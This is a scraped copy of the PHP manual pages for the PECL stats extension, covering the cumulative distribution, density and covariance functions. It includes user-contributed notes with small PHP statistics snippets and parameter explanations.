  • stats_dens_pmf_poisson — Probability mass function of the Poisson distribution
  • stats_dens_t — Probability density function of the t-distribution
  • stats_dens_uniform — Probability density function of the uniform distribution
  • stats_dens_weibull — Probability density function of the Weibull distribution
  • stats_harmonic_mean — Returns the harmonic mean of an array of values
  • stats_kurtosis — Computes the kurtosis of the data in the array
  • stats_rand_gen_beta — Generates a random deviate from the beta distribution
  • stats_rand_gen_chisquare — Generates a random deviate from the chi-square distribution
  • stats_rand_gen_exponential — Generates a random deviate from the exponential distribution
  • stats_rand_gen_f — Generates a random deviate from the F distribution
  • stats_rand_gen_funiform — Generates uniform float between low (exclusive) and high (exclusive)
  • stats_rand_gen_gamma — Generates a random deviate from the gamma distribution
  • stats_rand_gen_ibinomial_negative — Generates a random deviate from the negative binomial distribution
  • stats_rand_gen_ibinomial — Generates a random deviate from the binomial distribution
  • stats_rand_gen_int — Generates random integer between 1 and 2147483562
  • stats_rand_gen_ipoisson — Generates a single random deviate from a Poisson distribution
  • stats_rand_gen_iuniform — Generates integer uniformly distributed between LOW (inclusive) and HIGH (inclusive)
  • stats_rand_gen_noncentral_chisquare — Generates a random deviate from the non-central chi-square distribution
  • stats_rand_gen_noncentral_f — Generates a random deviate from the noncentral F distribution
  • stats_rand_gen_noncentral_t — Generates a single random deviate from a non-central t-distribution
  • stats_rand_gen_normal — Generates a single random deviate from a normal distribution
  • stats_rand_gen_t — Generates a single random deviate from a t-distribution
  • stats_rand_get_seeds — Get the seed values of the random number generator
  • stats_rand_phrase_to_seeds — Generate two seeds for the RGN random number generator
  • stats_rand_ranf — Generates a random floating point number between 0 and 1
  • stats_rand_setall — Set seed values to the random generator
  • stats_skew — Computes the skewness of the data in the array
  • stats_standard_deviation — Returns the standard deviation
  • stats_stat_binomial_coef — Returns a binomial coefficient
  • stats_stat_correlation — Returns the Pearson correlation coefficient of two data sets
  • stats_stat_factorial — Returns the factorial of an integer
  • stats_stat_independent_t — Returns the t-value from the independent two-sample t-test
  • stats_stat_innerproduct — Returns the inner product of two vectors
  • stats_stat_paired_t — Returns the t-value of the dependent t-test for paired samples
  • stats_stat_percentile — Returns the percentile value
  • stats_stat_powersum — Returns the power sum of a vector
  • stats_variance — Returns the variance

User Contributed Notes

Anonymous 07-May-2013 03:09
The source code actually has much more complete documentation (more functions, a better description of what they do, and parameters). You can see the latest here:
http://svn.php.net/viewvc/pecl/stats/trunk/

Notably, try clicking the latest revision number for php_stats.c
oliver at realtsp dot com 25-Jul-2008 01:17
There are some undocumented functions in this extension, eg I found the following by reading the DCDFLIB docs and some trial and error:

<?php

/**
 * stats_cdf_normal($x, $mean, $sd, 1)
 * @return float cumulative probablity
 */
echo stats_cdf_normal(1.96, 0, 1, 1) . "\n";

/**
 * stats_cdf_normal($p, $mean, $sd, 1)
 * @return float x which bounds cumulative probalility $p
 */
echo stats_cdf_normal(0.975, 0, 1, 2) . "\n";

// less useful
// echo stats_cdf_normal(0.4,0.5,0.6,3) . "\n";
// echo stats_cdf_normal(0.4,0.5,0.6,4) . "\n";
?>


Returns the absolute deviation of an array of values

  • ? Statistic 函数
  • stats_cdf_beta ?
  • PHP Manual
  • Statistic 函数
  • Returns the absolute deviation of an array of values

stats_absolute_deviation

(PECL stats >= 1.0.0)

stats_absolute_deviation — Returns the absolute deviation of an array of values

说明

stats_absolute_deviation(array $a): float

Returns the absolute deviation of the values in a.

参数

a

The input array

返回值

Returns the absolute deviation of the values in a, or false if a is empty or is not an array.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the beta distribution given values for the others

  • ? stats_absolute_deviation
  • stats_cdf_binomial ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the beta distribution given values for the others

stats_cdf_beta

(PECL stats >= 1.0.0)

stats_cdf_beta — Calculates any one parameter of the beta distribution given values for the others

说明

stats_cdf_beta(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the beta distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, alpha, and beta denotes cumulative distribution function, the value of the random variable, and shape parameters of the beta distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | alpha | beta
2 | x | CDF | alpha | beta
3 | alpha | x | CDF | beta
4 | beta | x | CDF | alpha

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, alpha, or beta, determined by which.

User Contributed Notes

n15m0_jk 21-Sep-2016 08:23
Decided to dive into the source code and provide a simple explanation:

Parameters:
int $which - Select which parameter to use in the CDF Binomial calculation, based on what the prior 3 parameters are.

where $which is 4:
$arg1 = p
$arg2 = sn
$arg3 = xn
returns pr

$which = 3
$arg1 = p
$arg2 = sn
$arg3 = pr
returns xn

$which = 2
$arg1 = p
$arg2 = xn
$arg3 = pr
returns sn

$which = 1
$arg1 = sn
$arg2 = xn
$arg3 = pr
returns p
Anonymous 30-Dec-2009 12:29
Additional Notes, taken from source.
 WHICH --> Integer indicating which of the next four argument
       values is to be calculated from the others.
     Legal range: 1..4
     iwhich = 1 : Calculate P and Q from X,Y,A and B
     iwhich = 2 : Calculate X and Y from P,Q,A and B
     iwhich = 3 : Calculate A from P,Q,X,Y and B
     iwhich = 4 : Calculate B from P,Q,X,Y and A

     P <--> The integral from 0 to X of the chi-square
     distribution.
     Input range: [0, 1].

     Q <--> 1-P.
     Input range: [0, 1].
     P + Q = 1.0.

     X <--> Upper limit of integration of beta density.
     Input range: [0,1].
     Search range: [0,1]

     Y <--> 1-X.
     Input range: [0,1].
     Search range: [0,1]
     X + Y = 1.0.

     A <--> The first parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]

     B <--> The second parameter of the beta density.
     Input range: (0, +infinity).
     Search range: [1D-100,1D100]


Calculates any one parameter of the binomial distribution given values for the others

  • ? stats_cdf_beta
  • stats_cdf_cauchy ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the binomial distribution given values for the others

stats_cdf_binomial

(PECL stats >= 1.0.0)

stats_cdf_binomial — Calculates any one parameter of the binomial distribution given values for the others

说明

stats_cdf_binomial(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the binomial distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, n, and p denotes cumulative distribution function, the number of successes, the number of trials, and the success rate for each trial, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | n | p
2 | x | CDF | n | p
3 | n | x | CDF | p
4 | p | x | CDF | n

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, n, or p, determined by which.

User Contributed Notes

PCH 14-Aug-2015 07:05
Calculates any one parameter of the binomial
     distribution given values for the others.

                              Arguments

     WHICH --> Integer indicating which of the next four argument
               values is to be calculated from the others.
               Legal range: 1..4
               iwhich = 1 : Calculate P and Q from S,XN,PR and OMPR
               iwhich = 2 : Calculate S from P,Q,XN,PR and OMPR
               iwhich = 3 : Calculate XN from P,Q,S,PR and OMPR
               iwhich = 4 : Calculate PR and OMPR from P,Q,S and XN

     P <--> The cumulation from 0 to S of the binomial distribution.
            (Probablility of S or fewer successes in XN trials each
            with probability of success PR.)
            Input range: [0,1].

     Q <--> 1-P.
            Input range: [0, 1].
            P + Q = 1.0.

     S <--> The number of successes observed.
            Input range: [0, XN]
            Search range: [0, XN]

     XN  <--> The number of binomial trials.
              Input range: (0, +infinity).
              Search range: [1E-100, 1E100]

     PR  <--> The probability of success in each binomial trial.
              Input range: [0,1].
              Search range: [0,1]

     OMPR  <--> 1-PR
              Input range: [0,1].
              Search range: [0,1]
              PR + OMPR = 1.0

     STATUS <-- 0 if calculation completed correctly
               -I if input parameter number I is out of range
                1 if answer appears to be lower than lowest
                  search bound
                2 if answer appears to be higher than greatest
                  search bound
                3 if P + Q .ne. 1
                4 if PR + OMPR .ne. 1

     BOUND <-- Undefined if STATUS is 0

               Bound exceeded by parameter number I if STATUS
               is negative.

               Lower search bound if STATUS is 1.

               Upper search bound if STATUS is 2.


Calculates any one parameter of the Cauchy distribution given values for the others

  • ? stats_cdf_binomial
  • stats_cdf_chisquare ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the Cauchy distribution given values for the others

stats_cdf_cauchy

(PECL stats >= 1.0.0)

stats_cdf_cauchy — Calculates any one parameter of the Cauchy distribution given values for the others

说明

stats_cdf_cauchy(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the Cauchy distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, x0, and gamma denotes cumulative distribution function, the value of the random variable, the location and the scale parameter of the Cauchy distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | x0 | gamma
2 | x | CDF | x0 | gamma
3 | x0 | x | CDF | gamma
4 | gamma | x | CDF | x0

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, x0, or gamma, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the chi-square distribution given values for the others

  • ? stats_cdf_cauchy
  • stats_cdf_exponential ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the chi-square distribution given values for the others

stats_cdf_chisquare

(PECL stats >= 1.0.0)

stats_cdf_chisquare — Calculates any one parameter of the chi-square distribution given values for the others

说明

stats_cdf_chisquare(float $par1, float $par2, int $which): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the chi-square distribution. The kind of the return value and parameters (par1 and par2) are determined by which.

The following table lists the return value and parameters by which. CDF, x, and k denotes cumulative distribution function, the value of the random variable, and the degree of freedom of the chi-square distribution, respectively.

Return value and parameters
which | Return value | par1 | par2
1 | CDF | x | k
2 | x | CDF | k
3 | k | x | CDF

参数

par1

The first parameter

par2

The second parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, or k, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the exponential distribution given values for the others

  • ? stats_cdf_chisquare
  • stats_cdf_f ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the exponential distribution given values for the others

stats_cdf_exponential

(PECL stats >= 1.0.0)

stats_cdf_exponential — Calculates any one parameter of the exponential distribution given values for the others

说明

stats_cdf_exponential(float $par1, float $par2, int $which): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the exponential distribution. The kind of the return value and parameters (par1 and par2) are determined by which.

The following table lists the return value and parameters by which. CDF, x, and lambda denotes cumulative distribution function, the value of the random variable, and the rate parameter of the exponential distribution, respectively.

Return value and parameters
which | Return value | par1 | par2
1 | CDF | x | lambda
2 | x | CDF | lambda
3 | lambda | x | CDF

参数

par1

The first parameter

par2

The second parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, or lambda, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the F distribution given values for the others

  • ? stats_cdf_exponential
  • stats_cdf_gamma ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the F distribution given values for the others

stats_cdf_f

(PECL stats >= 1.0.0)

stats_cdf_f — Calculates any one parameter of the F distribution given values for the others

说明

stats_cdf_f(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the F distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, d1, and d2 denotes cumulative distribution function, the value of the random variable, and the degree of freedoms of the F distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | d1 | d2
2 | x | CDF | d1 | d2
3 | d1 | x | CDF | d2
4 | d2 | x | CDF | d1

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, d1, or d2, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the gamma distribution given values for the others

  • ? stats_cdf_f
  • stats_cdf_laplace ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the gamma distribution given values for the others

stats_cdf_gamma

(PECL stats >= 1.0.0)

stats_cdf_gamma — Calculates any one parameter of the gamma distribution given values for the others

说明

stats_cdf_gamma(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the gamma distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, k, and theta denotes cumulative distribution function, the value of the random variable, and the shape and the scale parameter of the gamma distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | k | theta
2 | x | CDF | k | theta
3 | k | x | CDF | theta
4 | theta | x | CDF | k

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, k, or theta, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the Laplace distribution given values for the others

  • ? stats_cdf_gamma
  • stats_cdf_logistic ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the Laplace distribution given values for the others

stats_cdf_laplace

(PECL stats >= 1.0.0)

stats_cdf_laplace — Calculates any one parameter of the Laplace distribution given values for the others

说明

stats_cdf_laplace(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the Laplace distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, mu, and b denotes cumulative distribution function, the value of the random variable, and the location and the scale parameter of the Laplace distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | mu | b
2 | x | CDF | mu | b
3 | mu | x | CDF | b
4 | b | x | CDF | mu

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, mu, or b, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the logistic distribution given values for the others

  • ? stats_cdf_laplace
  • stats_cdf_negative_binomial ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the logistic distribution given values for the others

stats_cdf_logistic

(PECL stats >= 1.0.0)

stats_cdf_logistic — Calculates any one parameter of the logistic distribution given values for the others

说明

stats_cdf_logistic(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the logistic distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, mu, and s denotes cumulative distribution function, the value of the random variable, and the location and the scale parameter of the logistic distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | mu | s
2 | x | CDF | mu | s
3 | mu | x | CDF | s
4 | s | x | CDF | mu

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, mu, or s, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the negative binomial distribution given values for the others

  • ? stats_cdf_logistic
  • stats_cdf_noncentral_chisquare ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the negative binomial distribution given values for the others

stats_cdf_negative_binomial

(PECL stats >= 1.0.0)

stats_cdf_negative_binomial — Calculates any one parameter of the negative binomial distribution given values for the others

说明

stats_cdf_negative_binomial(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the negative binomial distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, r, and p denotes cumulative distribution function, the number of failure, the number of success, and the success rate for each trial, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | r | p
2 | x | CDF | r | p
3 | r | x | CDF | p
4 | p | x | CDF | r

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, r, or p, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the non-central chi-square distribution given values for the others

  • ? stats_cdf_negative_binomial
  • stats_cdf_noncentral_f ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the non-central chi-square distribution given values for the others

stats_cdf_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_cdf_noncentral_chisquare — Calculates any one parameter of the non-central chi-square distribution given values for the others

说明

stats_cdf_noncentral_chisquare(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the non-central chi-square distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, k, and lambda denotes cumulative distribution function, the value of the random variable, the degree of freedom and the non-centrality parameter of the distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | k | lambda
2 | x | CDF | k | lambda
3 | k | x | CDF | lambda
4 | lambda | x | CDF | k

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, k, or lambda, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the non-central F distribution given values for the others

  • ? stats_cdf_noncentral_chisquare
  • stats_cdf_noncentral_t ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the non-central F distribution given values for the others

stats_cdf_noncentral_f

(PECL stats >= 1.0.0)

stats_cdf_noncentral_f — Calculates any one parameter of the non-central F distribution given values for the others

说明

stats_cdf_noncentral_f(
float $par1,
float $par2,
float $par3,
float $par4,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the non-central F distribution. The kind of the return value and parameters (par1, par2, par3, and par4) are determined by which.

The following table lists the return value and parameters by which. CDF, x, nu1, nu2, and lambda denotes cumulative distribution function, the value of the random variable, the degree of freedoms and the non-centrality parameter of the distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3 | par4
1 | CDF | x | nu1 | nu2 | lambda
2 | x | CDF | nu1 | nu2 | lambda
3 | nu1 | x | CDF | nu2 | lambda
4 | nu2 | x | CDF | nu1 | lambda
5 | lambda | x | CDF | nu1 | nu2

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

par4

The fourth parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, nu1, nu2, or lambda, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the non-central t-distribution give values for the others

  • ? stats_cdf_noncentral_f
  • stats_cdf_normal ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the non-central t-distribution give values for the others

stats_cdf_noncentral_t

(PECL stats >= 1.0.0)

stats_cdf_noncentral_t — Calculates any one parameter of the non-central t-distribution give values for the others

说明

stats_cdf_noncentral_t(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the non-central t-distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, nu, and mu denotes cumulative distribution function, the value of the random variable, the degrees of freedom and the non-centrality parameter of the distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | nu | mu
2 | x | CDF | nu | mu
3 | nu | x | CDF | mu
4 | mu | x | CDF | nu

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, nu, or mu, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the normal distribution given values for the others

  • ? stats_cdf_noncentral_t
  • stats_cdf_poisson ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the normal distribution given values for the others

stats_cdf_normal

(PECL stats >= 1.0.0)

stats_cdf_normal — Calculates any one parameter of the normal distribution given values for the others

说明

stats_cdf_normal(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the normal distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, mu, and sigma denotes cumulative distribution function, the value of the random variable, the mean and the standard deviation of the normal distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | mu | sigma
2 | x | CDF | mu | sigma
3 | mu | x | CDF | sigma
4 | sigma | x | CDF | mu

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, mu, or sigma, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the Poisson distribution given values for the others

  • ? stats_cdf_normal
  • stats_cdf_t ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the Poisson distribution given values for the others

stats_cdf_poisson

(PECL stats >= 1.0.0)

stats_cdf_poisson — Calculates any one parameter of the Poisson distribution given values for the others

说明

stats_cdf_poisson(float $par1, float $par2, int $which): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the Poisson distribution. The kind of the return value and parameters (par1 and par2) are determined by which.

The following table lists the return value and parameters by which. CDF, x, and lambda denotes cumulative distribution function, the value of the random variable, and the parameter of the Poisson distribution, respectively.

Return value and parameters
which | Return value | par1 | par2
1 | CDF | x | lambda
2 | x | CDF | lambda
3 | lambda | x | CDF

参数

par1

The first parameter

par2

The second parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, or lambda, determined by which.

User Contributed Notes

s at nder dot com 23-Nov-2012 09:33
A simple poisson-distribution function, which only works for relatively small numbers (maximum of ~100/100 for most systems):

<?php

function factorial($number)
{
        if ($number < 2) {
                return 1;
        } else {
                return ($number * factorial($number-1));
        }
}

function poisson($chance, $occurrence)
{
        $e = exp(1);

        $a = pow($e, (-1 * $chance));
        $b = pow($chance,$occurrence);
        $c = factorial($occurrence);

        return $a * $b / $c;
}

$test = poisson(100,100);
echo $test . "\n";

?>


Calculates any one parameter of the t-distribution given values for the others

  • ? stats_cdf_poisson
  • stats_cdf_uniform ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the t-distribution given values for the others

stats_cdf_t

(PECL stats >= 1.0.0)

stats_cdf_t — Calculates any one parameter of the t-distribution given values for the others

说明

stats_cdf_t(float $par1, float $par2, int $which): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the t-distribution. The kind of the return value and parameters (par1 and par2) are determined by which.

The following table lists the return value and parameters by which. CDF, x, and nu denotes cumulative distribution function, the value of the random variable, and the degrees of freedom of the t-distribution, respectively.

Return value and parameters
which | Return value | par1 | par2
1 | CDF | x | nu
2 | x | CDF | nu
3 | nu | x | CDF

参数

par1

The first parameter

par2

The second parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, or nu, determined by which.

User Contributed Notes

Anonymous 12-Apr-2012 07:30
Input  and return values of stats_cdf_t depends on the $which-parameter:
<?php
function get_t_p($t, $df){
  return stats_cdf_t($t, $df, 1);
}
function get_t_t($p, $df){
  return stats_cdf_t($p, $df, 2);
}
function get_t_df($p, $t){
  return stats_cdf_t($p, $t, 3);
}
?>
Brian 14-Oct-2010 02:14
In order to match the output of this function with Excel's TDIST function, you must take 1 - the value.  For example, for a two-tailed T-distribution for x=4 and degrees of freedom=2, the formula would be:

(1 - stats_cdf_t(4, 2, 1)) * 2

For a single tail, do not include the multiply by 2 portion.


Calculates any one parameter of the uniform distribution given values for the others

  • ? stats_cdf_t
  • stats_cdf_weibull ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the uniform distribution given values for the others

stats_cdf_uniform

(PECL stats >= 1.0.0)

stats_cdf_uniform — Calculates any one parameter of the uniform distribution given values for the others

说明

stats_cdf_uniform(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the uniform distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, a, and b denotes cumulative distribution function, the value of the random variable, the lower bound and the higher bound of the uniform distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | a | b
2 | x | CDF | a | b
3 | a | x | CDF | b
4 | b | x | CDF | a

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, a, or b, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Calculates any one parameter of the Weibull distribution given values for the others

  • ? stats_cdf_uniform
  • stats_covariance ?
  • PHP Manual
  • Statistic 函数
  • Calculates any one parameter of the Weibull distribution given values for the others

stats_cdf_weibull

(PECL stats >= 1.0.0)

stats_cdf_weibull — Calculates any one parameter of the Weibull distribution given values for the others

说明

stats_cdf_weibull(
float $par1,
float $par2,
float $par3,
int $which
): float

Returns the cumulative distribution function, its inverse, or one of its parameters, of the Weibull distribution. The kind of the return value and parameters (par1, par2, and par3) are determined by which.

The following table lists the return value and parameters by which. CDF, x, k, and lambda denotes cumulative distribution function, the value of the random variable, the shape and the scale parameter of the Weibull distribution, respectively.

Return value and parameters
which | Return value | par1 | par2 | par3
1 | CDF | x | k | lambda
2 | x | CDF | k | lambda
3 | k | x | CDF | lambda
4 | lambda | x | CDF | k

参数

par1

The first parameter

par2

The second parameter

par3

The third parameter

which

The flag to determine what to be calculated

返回值

Returns CDF, x, k, or lambda, determined by which.

User Contributed Notes

There are no user contributed notes for this page.


Computes the covariance of two data sets

  • ? stats_cdf_weibull
  • stats_dens_beta ?
  • PHP Manual
  • Statistic 函数
  • Computes the covariance of two data sets

stats_covariance

(PECL stats >= 1.0.0)

stats_covariance — Computes the covariance of two data sets

说明

stats_covariance(array $a, array $b): float

Returns the covariance of a and b.

参数

a

The first array

b

The second array

返回值

Returns the covariance of a and b, or false on failure.

User Contributed Notes

Angel J. Salinas 22-Dec-2015 09:37
// kanniprabu's function is wrong.
// You can check this function with COVARIANCE.P Excel function:

function getCovariance( $valuesA, $valuesB )
{
  $countA = count($valuesA);
  $countB = count($valuesB);
  if ( $countA != $countB ) {
    trigger_error( 'Arrays with different sizes: countA='. $countA .', countB='. $countB, E_USER_WARNING );
    return false;
  }

  if ( $countA < 0 ) {
    trigger_error( 'Empty arrays', E_USER_WARNING );
    return false;
  }

  // Use library function if available
  if ( function_exists( 'stats_covariance' ) ) {
    return stats_covariance( $valuesA, $valuesB );
  }

  $meanA = array_sum( $valuesA ) / floatval( $countA );
  $meanB = array_sum( $valuesB ) / floatval( $countB );
  $add = 0.0;

  for ( $pos = 0; $pos < $countA; $pos++ ) {
    $valueA = $valuesA[ $pos ];
    if ( ! is_numeric( $valueA ) ) {
      trigger_error( 'Not numerical value in array A at position '. $pos .', value='. $valueA, E_USER_WARNING );
      return false;
    }

    $valueB = $valuesB[ $pos ];
    if ( ! is_numeric( $valueB ) ) {
      trigger_error( 'Not numerical value in array B at position '. $pos .', value='. $valueB, E_USER_WARNING );
      return false;
    }

    $difA = $valueA - $meanA;
    $difB = $valueB - $meanB;
    $add += ( $difA * $difB );
  } // for

  return $add / floatval( $countA );
}
kanniprabu at gmail dot com 16-Mar-2013 10:30
<?php
    //Covariance Calculation
    function standard_covariance($aValues,$bValues)
    {
        $a= (array_sum($aValues)*array_sum($bValues))/count($aValues);
        $ret = array();
        for($i=0;$i<count($aValues);$i++)
        {
            $ret[$i]=$aValues[$i]*$bValues[$i];
        }
        $b=(array_sum($ret)-$a)/(count($aValues)-1);
        return (float) $b;
    }
    $aValues=array(3,4,5,7);
    $bValues=array(10,11,13,14);
    echo standard_covariance($aValues,$bValues);
?>


Probability density function of the beta distribution

  • ? stats_covariance
  • stats_dens_cauchy ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the beta distribution

stats_dens_beta

(PECL stats >= 1.0.0)

stats_dens_beta — Probability density function of the beta distribution

说明

stats_dens_beta(float $x, float $a, float $b): float

Returns the probability density at x, where the random variable follows the beta distribution of which the shape parameters are a and b.

参数

x

The value at which the probability density is calculated

a

The shape parameter of the distribution

b

The shape parameter of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the Cauchy distribution

  • ? stats_dens_beta
  • stats_dens_chisquare ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the Cauchy distribution

stats_dens_cauchy

(PECL stats >= 1.0.0)

stats_dens_cauchy — Probability density function of the Cauchy distribution

说明

stats_dens_cauchy(float $x, float $ave, float $stdev): float

Returns the probability density at x, where the random variable follows the Cauchy distribution whose location and scale are ave and stdev, respectively.

参数

x

The value at which the probability density is calculated

ave

The location parameter of the distribution

stdev

The scale parameter of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the chi-square distribution

  • ? stats_dens_cauchy
  • stats_dens_exponential ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the chi-square distribution

stats_dens_chisquare

(PECL stats >= 1.0.0)

stats_dens_chisquare — Probability density function of the chi-square distribution

说明

stats_dens_chisquare(float $x, float $dfr): float

Returns the probability density at x, where the random variable follows the chi-square distribution of which the degree of freedom is dfr.

参数

x

The value at which the probability density is calculated

dfr

The degree of freedom of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the exponential distribution

  • ? stats_dens_chisquare
  • stats_dens_f ?
  • PHP Manual
  • Statistic 函数
  • Probability density function of the exponential distribution

stats_dens_exponential

(PECL stats >= 1.0.0)

stats_dens_exponential — Probability density function of the exponential distribution

说明

stats_dens_exponential(float $x, float $scale): float

Returns the probability density at x, where the random variable follows the exponential distribution of which the scale is scale.

参数

x

The value at which the probability density is calculated

scale

The scale of the distribution

返回值

The probability density at x or false for failure.

User Contributed Notes

There are no user contributed notes for this page.


Probability density function of the F distribution

  • ? stats_dens_exponential
  • stats_dens_gamma ?
